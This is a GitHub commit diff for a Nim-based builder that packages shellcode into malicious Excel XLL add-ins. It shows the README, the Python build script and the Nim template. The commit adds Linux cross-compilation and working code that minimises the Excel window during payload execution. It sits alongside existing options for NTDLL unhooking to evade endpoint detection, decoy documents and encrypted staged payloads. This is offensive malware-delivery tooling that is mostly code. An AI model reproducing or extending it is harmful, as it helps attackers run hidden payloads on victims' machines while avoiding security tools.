Skip to content

Commit 52879b4

Browse files
committed
v0.2.2
Cross-compilation and Excel window hiding
1 parent 9f85c93 commit 52879b4

File tree

3 files changed

+28
-14
lines changed

3 files changed

+28
-14
lines changed

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ stageless arguments:
4040
4141
compilation arguments:
4242
-n, --skip-unhook do not do NTDLL unhooking
43-
-w, --hidewindow hide excel window during execution # TODO
43+
-w, --hidewindow hide excel window during execution
4444
-d DECOY, --decoy DECOY
4545
path to the decoy file to open on startup (optional)
4646
-v, --verbose increase output verbosity

build.py

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,7 @@
1717
(_/ \\_)\\__ |_| \\____)_|_|\\_||_|
1818
(____/ Nim XLL builder PoC v0.2.1
1919
"""
20-
if os.name != 'nt':
21-
print("| cross-compilation coming soon™")
22-
exit(1)
20+
2321
print(banner)
2422
def encode_shellcode(sc_bytes):
2523
STATE_OPEN = "<"
@@ -94,7 +92,7 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
9492
help="do not do NTDLL unhooking")
9593

9694
compilation.add_argument("-w", "--hidewindow", action="store_true",
97-
help="hide excel window during execution # TODO")
95+
help="hide excel window during execution")
9896

9997
compilation.add_argument("-d", "--decoy", type=str,
10098
help="path to the decoy file to open on startup (optional)")
@@ -121,6 +119,10 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
121119

122120
compile_template = "nim c --app:lib --passL:\"-static-libgcc -static -lpthread\" --hints:off --define:excel {cmdline_args} --nomain --out:{outfile} --threads:on {filename}"
123121
cmdline_args = ""
122+
if os.name != 'nt':
123+
print("| cross-compilation unstable")
124+
cmdline_args += "--define:mingw --cpu:amd64 "
125+
124126

125127
if not args.skip_unhook:
126128
cmdline_args += "--define:unhook "
@@ -130,7 +132,7 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
130132

131133
if args.hidewindow:
132134
cmdline_args += "--define:hidewindow "
133-
print("| hide excel window: TODO")
135+
print("| hide excel window: on")
134136
else:
135137
print("| hide excel window: off")
136138

@@ -200,4 +202,5 @@ def bytes_to_nimarr(bytestr, varname, genconst=False):
200202
if args.verbose:
201203
print(" \\ command line:", compile_template.format(cmdline_args=cmdline_args, outfile=args.output, filename=tempname))
202204
os.system(compile_template.format(cmdline_args=cmdline_args, outfile=args.output, filename=tempname))
205+
os.remove(tempname)
203206
print("! should be saved to: ", args.output)

xll_template.nim

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
import winim
22
import winim/com
3-
4-
when defined unhook:
3+
when (defined unhook) or (defined hidewindow):
54
import ptr_math
65
import std/strutils
76
when defined staged:
@@ -17,13 +16,13 @@ when defined encrypted:
1716
include syscalls
1817

1918

20-
19+
proc toString(bytes: openarray[byte]): string =
20+
result = newString(bytes.len)
21+
copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len)
2122
proc NimMain() {.cdecl, importc.}
2223

2324
when defined unhook:
24-
proc toString(bytes: openarray[byte]): string =
25-
result = newString(bytes.len)
26-
copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len)
25+
2726

2827
proc ntdll_mapviewoffile() =
2928
let low: uint16 = 0
@@ -75,12 +74,24 @@ when defined unhook:
7574
CloseHandle(ntdllMapping)
7675
FreeLibrary(ntdllModule)
7776

77+
when defined hidewindow:
78+
proc wndenumcallback(windowHandle: HWND, param: LPARAM): WINBOOL {.stdcall.} =
79+
var process_id: DwORD
80+
var wanted = cast[ptr DWORD](param)
81+
GetWindowThreadProcessId(windowHandle, &process_id);
82+
if process_id == wanted[]:
83+
ShowWindow(windowHandle, SW_FORCEMINIMIZE)
84+
return true
85+
86+
proc hidewindow() =
87+
var processID = GetCurrentProcessId();
88+
EnumWindows(wndenumcallback, cast[LPARAM](addr processID))
89+
7890

7991

8092
proc run() {.thread, gcsafe.} =
8193
when defined hidewindow:
82-
# TODO: add window hiding (FindWindow+ShowWindow does not work for some reason)
83-
echo "COMING SOON"
94+
hidewindow()
8495

8596
when defined decoy:
8697
const asset = slurp("%DECOYPATH%")

0 commit comments

Comments
 (0)